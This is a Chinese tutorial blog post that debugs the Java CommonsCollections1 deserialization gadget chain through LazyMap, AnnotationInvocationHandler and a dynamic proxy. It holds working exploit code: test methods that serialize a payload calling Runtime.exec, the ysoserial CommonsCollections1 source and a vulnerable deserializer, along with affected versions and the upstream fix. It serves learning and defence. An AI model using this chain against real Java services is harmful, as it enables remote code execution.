当前位置: 首页 > news >正文

Java反序列化链调试—初探(URLDNS、CC):二

前景提要 https://lrui1.top/posts/7929b704/

CC1

上文调试了CC1关于TransformedMap.checkSetValue()触发ChainedTransformer.transform()的攻击链,但是之前对Transformer.transform()Find Usage时,还有两个Map:DefaultedMap、LazyMap

image.png

其中LazyMap就是CC1的另外一种形式,接下来我们分析下LazyMap

攻击链构造

ChainedTransformer

参考直接的构造 https://lrui1.top/posts/7929b704/#ChainedTransformer-1

测试代码如下

@Test  
public void testTransform() throws Exception {  ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  new ConstantTransformer(Runtime.class),  // 反射获取getRuntime方法  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  // invoke,获取其返回值  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  // 执行exec方法  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  });  chainedTransformer.transform("随便输入");  
}

LazyMap

LazyMap.get代码如下

public Object get(Object key) {  // create value for key if key is not currently in the map  if (map.containsKey(key) == false) {  Object value = factory.transform(key);  map.put(key, value);  return value;  }  return map.get(key);  
}

当map里不存在该元素时,会调用transform

该方法覆写了父类的get,作为其Map接口的实现方法,参考其构造函数

protected LazyMap(Map map, Transformer factory) {  super(map);  if (factory == null) {  throw new IllegalArgumentException("Factory must not be null");  }  this.factory = factory;  
}

不能直接访问,但是有一个静态方法,可创建LazyMap

public static Map decorate(Map map, Transformer factory) {  return new LazyMap(map, factory);  
}

测试代码如下

@Test  
public void testLazyMap() throws Exception {  ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  new ConstantTransformer(Runtime.class),  // 反射获取getRuntime方法  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  // invoke,获取其返回值  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  // 执行exec方法  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  });  HashMap<String, String> hashMap = new HashMap<>();  hashMap.put("test","test");  Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  decorate.get("map不存在");  
}

目前调用链

LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()InvokerTransformer.transform()InvokerTransformer.transform() // sink Gadget

还需要继续往上找链——要找不是实现Map接口的其他类,调用这个Map.get()方法的类

使用Find Usage,查出来6580个results,找到猴年马月hh

image.png

站在前人的肩膀上,我们发现之前构造链中,AnnotationInvocationHandler.invoke方法存在调用Map.get行为

image.png

Holishift,分析一波

AnnotationInvocationHandler.invoke()

代码如下,memberValues.get()触发了Map.get()的调用

public Object invoke(Object proxy, Method method, Object[] args) {  String member = method.getName();  Class<?>[] paramTypes = method.getParameterTypes();  // Handle Object and Annotation methods  if (member.equals("equals") && paramTypes.length == 1 &&  paramTypes[0] == Object.class)  return equalsImpl(args[0]);  assert paramTypes.length == 0;  if (member.equals("toString"))  return toStringImpl();  if (member.equals("hashCode"))  return hashCodeImpl();  if (member.equals("annotationType"))  return type;  // Handle annotation member accessors  Object result = memberValues.get(member);  if (result == null)  throw new IncompleteAnnotationException(type, member);  if (result instanceof ExceptionProxy)  throw ((ExceptionProxy) result).generateException();  if (result.getClass().isArray() && Array.getLength(result) != 0)  result = cloneArray(result);  return result;  
}

简单分析其逻辑:获取方法名,赋值给member,判断是否为equalstoStringhashCodeannotationType,都不是的话,调用memberValues.get(member),触发前面构造的攻击链

那么,什么情况下会触发这个invoke呢?根据描述,AnnotationInvocationHandler是用于实现注解(Annotation)动态代理的调用处理程序

动态代理是什么?——可参考 https://blog.csdn.net/qq_59219765/article/details/156390944

这边摘录一个比较重要的总结:

4.1 JDK 动态代理的核心原理

核心依赖:JDK 动态代理的核心是两个类,都在java.lang.reflect包下,无需额外引入依赖:
InvocationHandler:调用处理器,定义增强逻辑的核心接口,所有的前置 / 后置增强都写在这个接口的实现类中。

Proxy:代理类的生成器,通过Proxy.newProxyInstance()方法,在运行时动态生成代理对象。
实现要求:目标类必须实现一个或多个接口,JDK 动态代理只能代理「实现了接口的类」。
底层逻辑:JVM 通过反射,读取目标类实现的接口信息,在运行时动态生成一个代理类的字节码,这个代理类会实现和目标类相同的接口,内部持有InvocationHandler的引用,调用代理方法时,最终会转发到InvocationHandler的invoke方法中执行增强 + 目标方法。

AnnotationInvocationHandler.invoke() 触发流程如下:(来源于Gemini3 pro)

  1. 创建 Handler: 实例化 AnnotationInvocationHandler,传入一个注解类型(如 Override.class)和一个 Map(通常是存放注解属性值的 Map)。

  2. 创建 Proxy: 使用 Proxy.newProxyInstance 创建一个动态代理对象。这个代理对象“假装”实现了某个接口(比如 Map 接口或者某个注解接口),并将上面的 Handler 绑定给它。

  3. 调用方法: 只要调用这个代理对象的任意方法(例如 proxy.size()proxy.value()),JVM 就会自动跳转到 Handler 的 invoke 方法。

    • 此时,method.getName() 就是你调用的方法名(例如 "size")。

    • 代码会执行 memberValues.get("size")

总结一句话:被动态代理的对象(使用A类代理对象B),B调用任何方法,都会调用A.invoke方法

测试代码如下

@Test  
public void testLazyMapAnno() throws Exception {  ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  new ConstantTransformer(Runtime.class),  // 反射获取getRuntime方法  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  // invoke,获取其返回值  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  // 执行exec方法  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  });  HashMap<String, String> hashMap = new HashMap<>();  hashMap.put("test","test");  Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  // 反射构造AnnotationInvocationHandler  Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);  constructor.setAccessible(true);  InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);  // 动态代理Map接口  Map map = (Map)Proxy.newProxyInstance(  Map.class.getClassLoader(),  new Class[]{Map.class},  invoha  );  map.isEmpty(); // 保证调用的该方法名,不在前面put的里面,即不是test  
}

目前调用链如下

(Map)Proxy4.isEmpty()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()InvokerTransformer.transform()InvokerTransformer.transform() // sink Gadget

能弹计算器

image.png

AnnotationInvocationHandler.readObject()

我们之前也分析过它的readObject

private void readObject(java.io.ObjectInputStream s)  throws java.io.IOException, ClassNotFoundException {  s.defaultReadObject();  // Check to make sure that types have not evolved incompatibly  AnnotationType annotationType = null;  try {  annotationType = AnnotationType.getInstance(type);  } catch(IllegalArgumentException e) {  // Class is no longer an annotation type; all bets are off  return;  }  Map<String, Class<?>> memberTypes = annotationType.memberTypes();  for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {  String name = memberValue.getKey();  Class<?> memberType = memberTypes.get(name);  if (memberType != null) {  // i.e. member still exists  Object value = memberValue.getValue();  if (!(memberType.isInstance(value) ||  value instanceof ExceptionProxy)) {  memberValue.setValue(  new AnnotationTypeMismatchExceptionProxy(  value.getClass() + "[" + value + "]").setMember(  annotationType.members().get(name)));  }  }  }  
}

可以看到,readObject中存在memberValue调用方法,如果我们可以让AnnotationInvocationHandler代理memberValue,那么就可以进入到AnnotationInvocationHandler.invoke()方法,触发方法中Map.get的调用。

暂定利用条件如下

  1. AnnotationInvocationHandler属性值type,随便一个值
  2. AnnotationInvocationHandler属性值memberValues是AnnotationInvocationHandler代理LazyMap的对象

此时我们不需要关心for循环里的逻辑,在循环条件:memberValues.entrySet(),已经产生了代理调用,可以触发AnnotationInvocationHandler.invoke()方法了

测试代码如下

@Test  
public void testLazyMapCC1() throws Exception {  ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{  new ConstantTransformer(Runtime.class),  // 反射获取getRuntime方法  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),  // invoke,获取其返回值  new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),  // 执行exec方法  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),  });  HashMap<String, String> hashMap = new HashMap<>();  hashMap.put("test","test");  Map decorate = LazyMap.decorate(hashMap, chainedTransformer);  // 反射构造AnnotationInvocationHandler  Class<?> Anno = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  Constructor<?> constructor = Anno.getDeclaredConstructor(Class.class, Map.class);  constructor.setAccessible(true);  InvocationHandler invoha = (InvocationHandler)constructor.newInstance(Override.class, decorate);  // 动态代理Map接口  Map map = (Map)Proxy.newProxyInstance(  Map.class.getClassLoader(),  new Class[]{Map.class},  invoha  );  Object payload = constructor.newInstance(Override.class, map);  ObjectOutputStream ous = new ObjectOutputStream(new FileOutputStream("CC1.bin"));  ous.writeObject(payload);  System.out.println("ser successfully!");  
}public static void main(String[] args) throws Exception {  Scanner sc = new Scanner(System.in);  String s = sc.nextLine();  ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(s)));  Object o = ois.readObject();  ois.close();  System.out.println("unser successfully");  User user = (User) o;  System.out.println(user);  sc.close();  
}

成功弹出计算器

image.png

至此,还有一个问题:动态代理创建的实例,为什么可以强制转换为Map?

Gemini:因为你调用 Proxy.newProxyInstance 时,第二个参数明确指定了该代理类必须实现 Map 接口。

Map map = (Map)Proxy.newProxyInstance(  Map.class.getClassLoader(),  new Class[]{Map.class},  invoha  
);

当你运行这段代码时,JVM 在底层(内存中)做了以下几件事:

  1. 动态生成类字节码:JVM 动态生成了一个新的类(通常命名为 $Proxy0$Proxy1 等)。

  2. 强制实现接口:根据你传入的第二个参数 new Class[]{Map.class},JVM 让这个新生成的类声明实现 Map 接口

  3. 继承 Proxy:这个新类默认继承自 java.lang.reflect.Proxy

如果把 JVM 生成的这个 $Proxy0 类的源码“反编译”出来,它大概长这样(伪代码):

// JVM 动态生成的类
public final class $Proxy0 extends java.lang.reflect.Proxy implements java.util.Map {// 构造函数,传入 handlerpublic $Proxy0(InvocationHandler handler) {super(handler);}// 实现 Map 接口的所有方法@Overridepublic int size() {// 将调用转发给 handler.invokereturn (Integer) super.h.invoke(this, m3, null);}@Overridepublic Object get(Object key) {// 将调用转发给 handler.invokereturn super.h.invoke(this, m4, new Object[] { key });}// ... 其他 Map 方法 ...
}

所有的Map接口的逻辑都会交给handle中的invoke处理

总结

调用链如下

AnnotationInvocationHandler.readObject() // kick-off gadget(Map)Proxy4.entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()ChainedTransformer.transform() // chain gadgetConstantTransformer.transform()InvokerTransformer.transform()InvokerTransformer.transform()InvokerTransformer.transform() // sink Gadget

程序调用堆栈如下

org.apache.commons.collections.functors.InvokerTransformer.transform(InvokerTransformer.java:126)
org.apache.commons.collections.functors.ChainedTransformer.transform(ChainedTransformer.java:123)
org.apache.commons.collections.map.LazyMap.get(LazyMap.java:158)
sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:77)
com.sun.proxy.$Proxy0.entrySet(Unknown Source:-1)
sun.reflect.annotation.AnnotationInvocationHandler.readObject(AnnotationInvocationHandler.java:444)
sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke(Method.java:497)
java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
top.lrui1.Unser.main(Unser.java:20)

影响版本:

commons-collections : 3.1-3.2.1

jdk < 8u71

参考 https://xz.aliyun.com/news/8908#toc-1

ysoserial的实现思路

@PayloadTest ( precondition = "isApplicableJavaVersion")  
@Dependencies({"commons-collections:commons-collections:3.1"})  
@Authors({ Authors.FROHOFF })  
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {  public InvocationHandler getObject(final String command) throws Exception {  final String[] execArgs = new String[] { command };  // inert chain for setup  final Transformer transformerChain = new ChainedTransformer(  new Transformer[]{ new ConstantTransformer(1) });  // real chain for after setup  final Transformer[] transformers = new Transformer[] {  new ConstantTransformer(Runtime.class),  new InvokerTransformer("getMethod", new Class[] {  String.class, Class[].class }, new Object[] {  "getRuntime", new Class[0] }),  new InvokerTransformer("invoke", new Class[] {  Object.class, Object[].class }, new Object[] {  null, new Object[0] }),  new InvokerTransformer("exec",  new Class[] { String.class }, execArgs),  new ConstantTransformer(1) };  final Map innerMap = new HashMap();  final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);  final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);  final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);  Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain  return handler;  }  public static void main(final String[] args) throws Exception {  PayloadRunner.run(CommonsCollections1.class, args);  }  public static boolean isApplicableJavaVersion() {  return JavaVersion.isAnnInvHUniversalMethodImpl();  }  
}

主要是在getObject方法上,其主要思路就是利用LazyMap+AnnotationInvocationHandler结合动态代理,跟前文的调试思路是一样的。

修复措施

https://github.com/apache/commons-collections/commit/1642b00d67b96de87cad44223efb9ab5b4fb7be5#diff-9b5269539d9bbb441b9b61a41d4ee7faa0877e0b3ca328b9085b36506e95d780

通过重写InvokerTransformerreadObject方法来禁用其反序列化功能

默认情况下,“InvokerTransformer”的反序列化功能被禁用,因为该漏洞可被利用进行远程代码执行攻击。重新启用该功能,系统属性“org.apache.commons.collections.invokertransformer.enableSerialization”需要设置为“true”。

/** System property key to enable de-serialization */
public final static String DESERIALIZE= "org.apache.commons.collections.invokertransformer.enableDeserialization";/*** Overrides the default readObject implementation to prevent* de-serialization (see COLLECTIONS-580).*/
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {String deserializeProperty;try {deserializeProperty = (String) AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return System.getProperty(DESERIALIZE);}});} catch (SecurityException ex) {deserializeProperty = null;}if (deserializeProperty == null || !deserializeProperty.equalsIgnoreCase("true")) {throw new UnsupportedOperationException("Deserialization of InvokerTransformer is disabled, ");}is.defaultReadObject();
}

写在最后

关于已存在的反序列化链CC1总算是调试完了,也学习到了一些对反序列化链的挖掘,利用的思路,可能目前还做不到挖掘一条链,不过我觉得现在可以做到分析别人挖掘出的链就已经很好了

接下来继续调试CC系列反序列化链,坚持年前调完

参考链接

https://www.freebuf.com/articles/web/214096.html

http://www.jsqmd.com/news/267194/

相关文章:

  • 如何快速配置DS4Windows:让PS4/PS5手柄在PC上完美适配的完整指南
  • 【小程序毕设源码分享】基于springboot+微信小程序的剧本杀游玩一体化平台的设计与实现(程序+文档+代码讲解+一条龙定制)
  • 2026年质量与口碑兼具:无转子硫化仪行业领先企业推荐 - 品牌推荐大师
  • 基于python和vue的山区城市环境污染监督管理系统
  • 【小程序毕设源码分享】基于springboot+微信小程序的农产品管理与销售APP的设计与实现(程序+文档+代码讲解+一条龙定制)
  • 2026年武汉广告设计/武汉广告标识/武汉广告图文/武汉广告装饰公司首选推荐:武汉博远神风广告有限公司 - 2026年企业推荐榜
  • 视频压缩实用指南:高效处理大文件的完整方案
  • 2026智能体开发:五大趋势塑造未来格局
  • 基于python和vue的新能源共享汽车租赁管理系统的设计与实现
  • 一种基于扩展反电动势的永磁同步电机无位置控制算法,全部C语言 编写,含有矢量控制大部分功能(弱...
  • 全国全自动液压打包机认证厂家,南通佳宝机械排名如何? - 工业品牌热点
  • spring boot的@Async注解有什么坑?
  • 如果希望做c++相关的工作,该如何系统学习c++?
  • 2026年专业/多功能/高端/环保定制床垫品牌权威测评榜单重磅发布:北京/上海/广州/深圳定制床垫品牌强势入围 - 一搜百应
  • C++ 腾讯面试有哪些常见问题?
  • 目标检测十年演进
  • AI智能体的开发费用
  • 低成本搭建属于你的证件照制作源码系统 源码全开源 带完整的搭建部署教程
  • nginx a client request body is buffered to a temporary file 错误解决
  • 微信游戏的外包开发流程
  • reinterpret_cast 有哪些注意事项?
  • 中电金信:流程“加速”、投入“瘦身”,当业务建模遇上AI智能体
  • 【小程序毕设全套源码+文档】基于微信小程序的办公用品管理系统小程序设计与实现(丰富项目+远程调试+讲解+定制)
  • flutter入门
  • 【小程序毕设全套源码+文档】基于微信小程序的剧本杀游玩一体化平台设计与实现(丰富项目+远程调试+讲解+定制)
  • 2026年成都月嫂培训机构推荐:基于行业标准与就业率评价,直击培训质量与认证痛点 - 品牌推荐
  • 2026年优秀的文洛温室大棚,,PC阳光板温室大棚厂家优质推荐名录 - 品牌鉴赏师
  • Quest - ce que la langue amricaine
  • 激光雷达十年演进
  • 2026必看:圆锯机推荐供应商及选购建议指南 - 品牌推荐大师1